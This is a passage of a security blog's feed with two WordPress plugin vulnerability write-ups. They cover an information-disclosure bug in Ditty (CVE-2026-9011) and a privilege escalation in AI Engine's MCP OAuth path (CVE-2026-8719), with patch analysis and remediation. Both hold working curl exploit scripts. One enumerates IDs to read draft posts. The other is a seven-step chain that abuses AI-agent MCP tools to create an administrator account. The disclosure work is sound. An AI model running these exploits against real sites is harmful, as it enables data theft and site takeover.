&lt;pre&gt;&lt;code&gt;TARGET=&quot;http://example.com&quot;

NONCE=$(curl -s &quot;$TARGET/&quot; \
  | grep -o &apos;&quot;security&quot;:&quot;[^&quot;]*&quot;&apos; \
  | head -1 \
  | cut -d&apos;&quot;&apos; -f4)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Enumerate Ditty post IDs and read non-public content:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for ID in $(seq 1 200); do
  RESPONSE=$(curl -s -X POST &quot;$TARGET/wp-admin/admin-ajax.php&quot; \
    --data-urlencode &quot;action=ditty_init&quot; \
    --data-urlencode &quot;id=$ID&quot; \
    --data-urlencode &quot;security=$NONCE&quot;)

  # Check if the response contains Ditty data
  if echo &quot;$RESPONSE&quot; | grep -q &apos;&quot;items&quot;&apos;; then
    STATUS=$(echo &quot;$RESPONSE&quot; | python3 -c \
      &quot;import sys,json; d=json.load(sys.stdin); print(d.get(&apos;args&apos;,{}).get(&apos;status&apos;,&apos;&apos;))&quot; 2&amp;gt;/dev/null)
    TITLE=$(echo &quot;$RESPONSE&quot; | python3 -c \
      &quot;import sys,json; d=json.load(sys.stdin); print(d.get(&apos;args&apos;,{}).get(&apos;title&apos;,&apos;&apos;))&quot; 2&amp;gt;/dev/null)

    echo &quot;ID $ID | status=$STATUS | title=$TITLE&quot;

    if [ &quot;$STATUS&quot; != &quot;publish&quot; ] &amp;amp;&amp;amp; [ -n &quot;$STATUS&quot; ]; then
      echo &quot;  --&amp;gt; Non-public Ditty disclosed!&quot;
      echo &quot;$RESPONSE&quot; | python3 -m json.tool
    fi
  fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected response for a draft Ditty (ID = 42):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;display_type&quot;: &quot;ticker&quot;,
  &quot;args&quot;: {
    &quot;id&quot;: 42,
    &quot;title&quot;: &quot;Confidential Q3 Announcement&quot;,
    &quot;status&quot;: &quot;draft&quot;,
    &quot;items&quot;: [
      {
        &quot;content&quot;: &quot;We will be announcing layoffs next quarter...&quot;
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response returns &lt;code&gt;&quot;status&quot;: &quot;draft&quot;&lt;/code&gt; alongside the full item content — content the administrator explicitly withheld from public view.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 3.1.66 adds three authorization checks at the beginning of &lt;code&gt;init_ajax()&lt;/code&gt;, before any data is retrieved:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+  // Validate the requested Ditty exists and is the correct post type
+  if ( ! $id_ajax || &apos;ditty&apos; !== get_post_type( $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // Only published Dittys are publicly accessible. Non-published Dittys
+  // may only be loaded by users with the capability to edit that specific Ditty.
+  if ( &apos;publish&apos; !== get_post_status( $id_ajax ) &amp;amp;&amp;amp; ! current_user_can( &apos;edit_post&apos;, $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // The editor flag should only be honored for users with the capability
+  // to edit Dittys to avoid exposing editor-only data publicly.
+  if ( $editor_ajax &amp;amp;&amp;amp; ! current_user_can( &apos;edit_dittys&apos; ) ) {
+      $editor_ajax = false;
+  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same status and capability checks are also added to &lt;code&gt;live_updates_ajax()&lt;/code&gt;, which was vulnerable to the same class of issue.&lt;/p&gt;
&lt;p&gt;The fix aligns the AJAX path with the non-AJAX &lt;code&gt;init()&lt;/code&gt; method that already had the correct status check.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 19, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.1.66 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 21, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory published&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 24, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the Ditty plugin to version &lt;strong&gt;3.1.66&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;, find Ditty, and click &lt;strong&gt;Update Now&lt;/strong&gt;. You can also download the latest version directly from &lt;a href=&quot;https://wordpress.org/plugins/ditty-news-ticker/&quot;&gt;wordpress.org/plugins/ditty-news-ticker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, consider disabling the plugin until you can. Any non-public Dittys may have had their content exposed to unauthenticated visitors prior to the update.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ditty-news-ticker/ditty-3165-missing-authorization-to-unauthenticated-sensitive-information-disclosure-via-ditty-init-ajax-action&quot;&gt;Wordfence Advisory — CVE-2026-9011&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9011&quot;&gt;CVE Record — CVE-2026-9011&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/ditty-news-ticker/tags/3.1.65/includes/class-ditty-singles.php#L220&quot;&gt;Vulnerable code — class-ditty-singles.php#L220 (3.1.65)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/ditty-news-ticker/tags/3.1.65/includes/class-ditty-singles.php#L33&quot;&gt;Vulnerable code — class-ditty-singles.php#L33 (3.1.65)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/ditty-news-ticker/tags/3.1.65/includes/class-ditty-scripts.php#L463&quot;&gt;Nonce exposure — class-ditty-scripts.php#L463 (3.1.65)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3538064%40ditty-news-ticker&amp;amp;new=3538064%40ditty-news-ticker&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;Patch changeset&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-24T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-8719: AI Engine Privilege Escalation via MCP OAuth (CVSS 8.8)</title><link>https://hurayraiit.com/blog/cve-2026-8719-ai-engine-privilege-escalation-mcp-oauth/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-8719-ai-engine-privilege-escalation-mcp-oauth/</guid><description>CVE-2026-8719 (CVSS 8.8) lets any Subscriber invoke admin-level MCP tools in AI Engine 3.4.9, including creating administrator accounts.</description><pubDate>Tue, 19 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-8719&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.8 (High)&lt;/strong&gt; Privilege Escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/ai-engine/&quot;&gt;AI Engine – The Chatbot, AI Framework &amp;amp; MCP for WordPress&lt;/a&gt; plugin. An authenticated attacker with only Subscriber-level access can exploit the MCP OAuth bearer-token authorization path to invoke admin-level MCP tools — including &lt;code&gt;wp_create_user&lt;/code&gt; — and take full control of the WordPress site.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI Engine – The Chatbot, AI Framework &amp;amp; MCP for WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ai-engine&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8719&quot;&gt;CVE-2026-8719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.8 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization / Privilege Escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-engine.3.4.9.zip&quot;&gt;3.4.9&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/ai-engine.3.5.0.zip&quot;&gt;3.5.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 16, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daroo-2&quot;&gt;daroo&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ai-engine/ai-engine-349-authenticated-subscriber-privilege-escalation-via-missing-authorization-in-mcp-oauth-bearer-token&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The AI Engine plugin version 3.4.9 implements an OAuth 2.1 server for its Model Context Protocol (MCP) feature. This allows external clients — such as Claude Desktop — to connect to the WordPress site as an MCP server.&lt;/p&gt;
&lt;p&gt;The OAuth flow requires a logged-in WordPress user to approve access. In version 3.4.9, the authorization endpoint accepted approval from &lt;strong&gt;any&lt;/strong&gt; authenticated user, including low-privilege roles like Subscriber. Once approved, the plugin issued a valid OAuth access token tied to that user&apos;s WordPress ID.&lt;/p&gt;
&lt;p&gt;When that token was later presented to the MCP endpoint as a Bearer token, the &lt;code&gt;auth_via_bearer_token()&lt;/code&gt; function validated the token and granted MCP access &lt;strong&gt;without checking whether the token&apos;s owner held administrator privileges&lt;/strong&gt;. The MCP server&apos;s role configuration defaulted to &lt;code&gt;admin&lt;/code&gt;, meaning all tools — including &lt;code&gt;wp_create_user&lt;/code&gt; — were reachable.&lt;/p&gt;
&lt;p&gt;A Subscriber could therefore complete the OAuth flow, obtain a token, and call any admin-level MCP tool as if they were a site administrator.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Background: MCP and OAuth in AI Engine&lt;/h3&gt;
&lt;p&gt;The AI Engine MCP feature exposes a JSON-RPC server at &lt;code&gt;/wp-json/mcp/v1/http&lt;/code&gt;. This server provides tools that let AI clients manage WordPress content and users. The plugin offers two authentication paths:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Static bearer token&lt;/strong&gt;: A secret configured by the admin; always sets the current user to the site&apos;s admin account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth 2.1 flow&lt;/strong&gt;: Supports browser-driven clients; issues tokens linked to the authorizing WordPress user&apos;s ID.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Both paths go through &lt;code&gt;can_access_mcp()&lt;/code&gt; → &lt;code&gt;auth_via_bearer_token()&lt;/code&gt; via the &lt;code&gt;mwai_allow_mcp&lt;/code&gt; filter.&lt;/p&gt;
&lt;h3&gt;The Vulnerable Function (&lt;code&gt;labs/mcp.php&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// labs/mcp.php — version 3.4.9, lines 182–254
public function auth_via_bearer_token( $allow, $request ) {
    // Skip if already authenticated as admin
    if ( $allow ) {
        return $allow;
    }

    $hdr = $request-&amp;gt;get_header( &apos;authorization&apos; );

    if ( $hdr &amp;amp;&amp;amp; preg_match( &apos;/Bearer\s+(.+)/i&apos;, $hdr, $m ) ) {
        $token = trim( $m[1] );
        $auth_result = &apos;none&apos;;

        // Check if it&apos;s an OAuth token
        if ( $this-&amp;gt;oauth ) {
            $token_data = $this-&amp;gt;oauth-&amp;gt;validate_token( $token );
            if ( $token_data ) {
                // Set current user based on OAuth token
                wp_set_current_user( $token_data[&apos;user_id&apos;] );  // ← sets the Subscriber as current user
                $auth_result = &apos;oauth&apos;;
                return true;  // ← grants MCP access without checking if user is admin!
            }
        }

        // Fall back to static bearer token if configured
        if ( !empty( $this-&amp;gt;bearer_token ) &amp;amp;&amp;amp; hash_equals( $this-&amp;gt;bearer_token, $token ) ) {
            if ( $admin = $this-&amp;gt;core-&amp;gt;get_admin_user() ) {
                wp_set_current_user( $admin-&amp;gt;ID, $admin-&amp;gt;user_login );  // static path always uses admin
            }
            return true;
        }
        // ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The static token path (line 219) safely sets the current user to the site administrator before returning &lt;code&gt;true&lt;/code&gt;. The OAuth path (line 208) only sets the current user to whoever authorized the token — a Subscriber — and then immediately returns &lt;code&gt;true&lt;/code&gt;. No capability check follows.&lt;/p&gt;
&lt;h3&gt;Missing Capability Gate in the Authorization Endpoint (&lt;code&gt;labs/mcp-oauth.php&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The OAuth consent endpoint also had no privilege check. Any logged-in WordPress user could visit the &lt;code&gt;/mcp/v1/oauth/authorize&lt;/code&gt; URL, see the consent page, and click Approve. This made it straightforward for a Subscriber to mint a valid OAuth token without any additional steps.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// labs/mcp-oauth.php — version 3.4.9
// After confirming the user is logged in, the code immediately renders the consent page:
$user = wp_get_current_user();
$this-&amp;gt;render_consent_page( $client, $params, $user );  // no role check before this
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why &lt;code&gt;mcp_role = &apos;admin&apos;&lt;/code&gt; Makes This Worse&lt;/h3&gt;
&lt;p&gt;Inside &lt;code&gt;execute_tool()&lt;/code&gt;, the plugin uses &lt;code&gt;$this-&amp;gt;mcp_role&lt;/code&gt; to gate tool access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function role_has_access( string $toolLevel ): bool {
    if ( $this-&amp;gt;mcp_role === &apos;admin&apos; ) {
        return true;  // admin mode: all tools allowed
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default &lt;code&gt;mcp_role&lt;/code&gt; option is &lt;code&gt;&apos;admin&apos;&lt;/code&gt;. This means all registered MCP tools — including destructive admin-level tools — are reachable once the authentication barrier is passed. The tool list includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wp_create_user&lt;/code&gt; — create a WordPress user with any role, including &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_update_user&lt;/code&gt; — change any user&apos;s role or password&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_delete_post&lt;/code&gt;, &lt;code&gt;wp_delete_user&lt;/code&gt; — destructive operations&lt;/li&gt;
&lt;li&gt;WordPress REST API tools: create/update/delete posts, pages, and media&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A Subscriber who passes the OAuth bearer check has access to all of these.&lt;/p&gt;
&lt;h3&gt;Execution Path Summary&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Subscriber completes the OAuth authorize flow and receives an access token (&lt;code&gt;user_id&lt;/code&gt; = Subscriber&apos;s ID stored in DB)&lt;/li&gt;
&lt;li&gt;Subscriber POSTs to &lt;code&gt;/wp-json/mcp/v1/http&lt;/code&gt; with &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;WordPress runs the &lt;code&gt;permission_callback&lt;/code&gt; → &lt;code&gt;can_access_mcp()&lt;/code&gt; → &lt;code&gt;apply_filters(&apos;mwai_allow_mcp&apos;, false, $request)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auth_via_bearer_token(false, $request)&lt;/code&gt; runs → calls &lt;code&gt;$this-&amp;gt;oauth-&amp;gt;validate_token($token)&lt;/code&gt; → returns &lt;code&gt;[&apos;user_id&apos; =&amp;gt; &amp;lt;subscriber_id&amp;gt;, ...]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Code calls &lt;code&gt;wp_set_current_user(&amp;lt;subscriber_id&amp;gt;)&lt;/code&gt; then &lt;strong&gt;returns &lt;code&gt;true&lt;/code&gt;&lt;/strong&gt; — access granted&lt;/li&gt;
&lt;li&gt;MCP handler dispatches the JSON-RPC call → &lt;code&gt;execute_tool()&lt;/code&gt; → &lt;code&gt;role_has_access(&apos;admin&apos;)&lt;/code&gt; → &lt;code&gt;true&lt;/code&gt; → tool runs as the Subscriber&apos;s WP user context (but WordPress REST API calls within the tool run as the set current user — and &lt;code&gt;wp_create_user&lt;/code&gt; doesn&apos;t require the current user to have admin caps at the PHP level in this code path)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is provided for educational and research purposes only. Only test on systems you own or have explicit permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AI Engine 3.4.9 installed and activated with MCP enabled&lt;/li&gt;
&lt;li&gt;Attacker has a Subscriber-level WordPress account&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SITE_URL&lt;/code&gt; is the target WordPress site URL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Register an OAuth client (no authentication required)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SITE_URL=&quot;https://target.example.com&quot;

CLIENT_RESP=$(curl -s -X POST &quot;$SITE_URL/wp-json/mcp/v1/oauth/register&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;redirect_uris&quot;:[&quot;http://localhost:9999/callback&quot;],&quot;client_name&quot;:&quot;PoC Client&quot;}&apos;)

CLIENT_ID=$(echo &quot;$CLIENT_RESP&quot; | grep -o &apos;&quot;client_id&quot;:&quot;[^&quot;]*&quot;&apos; | cut -d&apos;&quot;&apos; -f4)
echo &quot;Client ID: $CLIENT_ID&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Generate PKCE code verifier and challenge&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CODE_VERIFIER=$(openssl rand -base64 32 | tr -d &apos;+/=\n&apos; | head -c 43)
CODE_CHALLENGE=$(printf &apos;%s&apos; &quot;$CODE_VERIFIER&quot; | openssl dgst -sha256 -binary | \
  base64 | tr &apos;+/&apos; &apos;-_&apos; | tr -d &apos;=&apos;)
echo &quot;Verifier: $CODE_VERIFIER&quot;
echo &quot;Challenge: $CODE_CHALLENGE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Log in as Subscriber and get session cookies&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -c cookies.txt -X POST &quot;$SITE_URL/wp-login.php&quot; \
  -H &quot;Cookie: wordpress_test_cookie=WP+Cookie+check&quot; \
  -d &quot;log=subscriber_user&amp;amp;pwd=subscriber_pass&amp;amp;wp-submit=Log+In&amp;amp;testcookie=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Fetch the OAuth consent page (extract nonce)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AUTH_URL=&quot;$SITE_URL/wp-json/mcp/v1/oauth/authorize?response_type=code\
&amp;amp;client_id=$CLIENT_ID\
&amp;amp;redirect_uri=http%3A%2F%2Flocalhost%3A9999%2Fcallback\
&amp;amp;code_challenge=$CODE_CHALLENGE\
&amp;amp;code_challenge_method=S256\
&amp;amp;state=poc123&quot;

CONSENT_HTML=$(curl -s -b cookies.txt &quot;$AUTH_URL&quot;)
NONCE=$(echo &quot;$CONSENT_HTML&quot; | grep -o &apos;&quot;_mwai_nonce&quot; value=&quot;[^&quot;]*&quot;&apos; | cut -d&apos;&quot;&apos; -f4)
echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Submit the consent form to approve and capture the authorization code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;REDIR=$(curl -s -b cookies.txt -D - -X POST &quot;$SITE_URL/wp-json/mcp/v1/oauth/authorize&quot; \
  --data-urlencode &quot;client_id=$CLIENT_ID&quot; \
  --data-urlencode &quot;redirect_uri=http://localhost:9999/callback&quot; \
  --data-urlencode &quot;state=poc123&quot; \
  --data-urlencode &quot;scope=mcp&quot; \
  --data-urlencode &quot;code_challenge=$CODE_CHALLENGE&quot; \
  --data-urlencode &quot;code_challenge_method=S256&quot; \
  --data-urlencode &quot;_mwai_nonce=$NONCE&quot; \
  --data-urlencode &quot;action=approve&quot;)

AUTH_CODE=$(echo &quot;$REDIR&quot; | grep -i &quot;^location:&quot; | grep -o &apos;code=[^&amp;amp;]*&apos; | cut -d= -f2)
echo &quot;Authorization code: $AUTH_CODE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Exchange the code for an OAuth access token&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TOKEN_RESP=$(curl -s -X POST &quot;$SITE_URL/wp-json/mcp/v1/oauth/token&quot; \
  -d &quot;grant_type=authorization_code\
&amp;amp;code=$AUTH_CODE\
&amp;amp;redirect_uri=http://localhost:9999/callback\
&amp;amp;client_id=$CLIENT_ID\
&amp;amp;code_verifier=$CODE_VERIFIER&quot;)

ACCESS_TOKEN=$(echo &quot;$TOKEN_RESP&quot; | grep -o &apos;&quot;access_token&quot;:&quot;[^&quot;]*&quot;&apos; | cut -d&apos;&quot;&apos; -f4)
echo &quot;Access token: $ACCESS_TOKEN&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 7: Use the Subscriber&apos;s OAuth token to create an administrator account&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;$SITE_URL/wp-json/mcp/v1/http&quot; \
  -H &quot;Authorization: Bearer $ACCESS_TOKEN&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{
    &quot;jsonrpc&quot;: &quot;2.0&quot;,
    &quot;id&quot;: 1,
    &quot;method&quot;: &quot;tools/call&quot;,
    &quot;params&quot;: {
      &quot;name&quot;: &quot;wp_create_user&quot;,
      &quot;arguments&quot;: {
        &quot;user_login&quot;: &quot;hacked_admin&quot;,
        &quot;user_email&quot;: &quot;attacker@evil.com&quot;,
        &quot;user_pass&quot;: &quot;P@ssw0rd123!&quot;,
        &quot;role&quot;: &quot;administrator&quot;
      }
    }
  }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; The response contains the new user&apos;s ID, confirming that a Subscriber has successfully created an administrator account through the MCP OAuth path.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;jsonrpc&quot;: &quot;2.0&quot;,
  &quot;id&quot;: 1,
  &quot;result&quot;: {
    &quot;content&quot;: [{&quot;type&quot;: &quot;text&quot;, &quot;text&quot;: &quot;{\&quot;user_id\&quot;: 42}&quot;}]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Verification:&lt;/strong&gt; Log into the WordPress admin with the newly created &lt;code&gt;hacked_admin&lt;/code&gt; account.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The 3.5.0 patch introduces two capability gates — one at token issuance time and one at token use time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1: New &lt;code&gt;user_can_authorize()&lt;/code&gt; method (&lt;code&gt;mcp-oauth.php&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+  public function user_can_authorize( $user_id ) {
+      $user_id = (int) $user_id;
+      $allowed = $user_id &amp;gt; 0 &amp;amp;&amp;amp; user_can( $user_id, &apos;administrator&apos; );
+      return (bool) apply_filters( &apos;mwai_mcp_oauth_user_can_authorize&apos;, $allowed, $user_id );
+  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This method checks whether a given WordPress user ID holds the &lt;code&gt;administrator&lt;/code&gt; capability. It is called in two new places in &lt;code&gt;mcp-oauth.php&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At consent-page render time:&lt;/strong&gt; Before showing the authorization consent page, the plugin now checks if the logged-in user can authorize. Non-admin users see an error page instead.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At consent-form submit time:&lt;/strong&gt; The POST handler also calls &lt;code&gt;user_can_authorize()&lt;/code&gt; before processing the approve/deny action.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This blocks non-admin users from ever obtaining an OAuth token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2: Capability check at token validation time (&lt;code&gt;mcp.php&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+  if ( !$this-&amp;gt;oauth-&amp;gt;user_can_authorize( $token_data[&apos;user_id&apos;] ) ) {
+      return false;
+  }
   // Set current user based on OAuth token
   wp_set_current_user( $token_data[&apos;user_id&apos;] );
   return true;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if a token was issued before the patch (or by some other means), the plugin now verifies that the token&apos;s owner still holds administrator capability before granting MCP access. This is a defense-in-depth measure that prevents exploitation of existing pre-patch tokens after an upgrade.&lt;/p&gt;
&lt;p&gt;The fix addresses the root cause: MCP administrative access now requires the WordPress &lt;code&gt;administrator&lt;/code&gt; capability at every point in the OAuth lifecycle — when minting tokens and when consuming them.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 16, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory published&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 16, 2026&lt;/td&gt;
&lt;td&gt;AI Engine 3.5.0 released with fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 18, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update AI Engine to version &lt;strong&gt;3.5.0&lt;/strong&gt; or later. You can do this from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress Admin → Plugins → Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Or download directly from &lt;a href=&quot;https://wordpress.org/plugins/ai-engine/&quot;&gt;wordpress.org/plugins/ai-engine/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
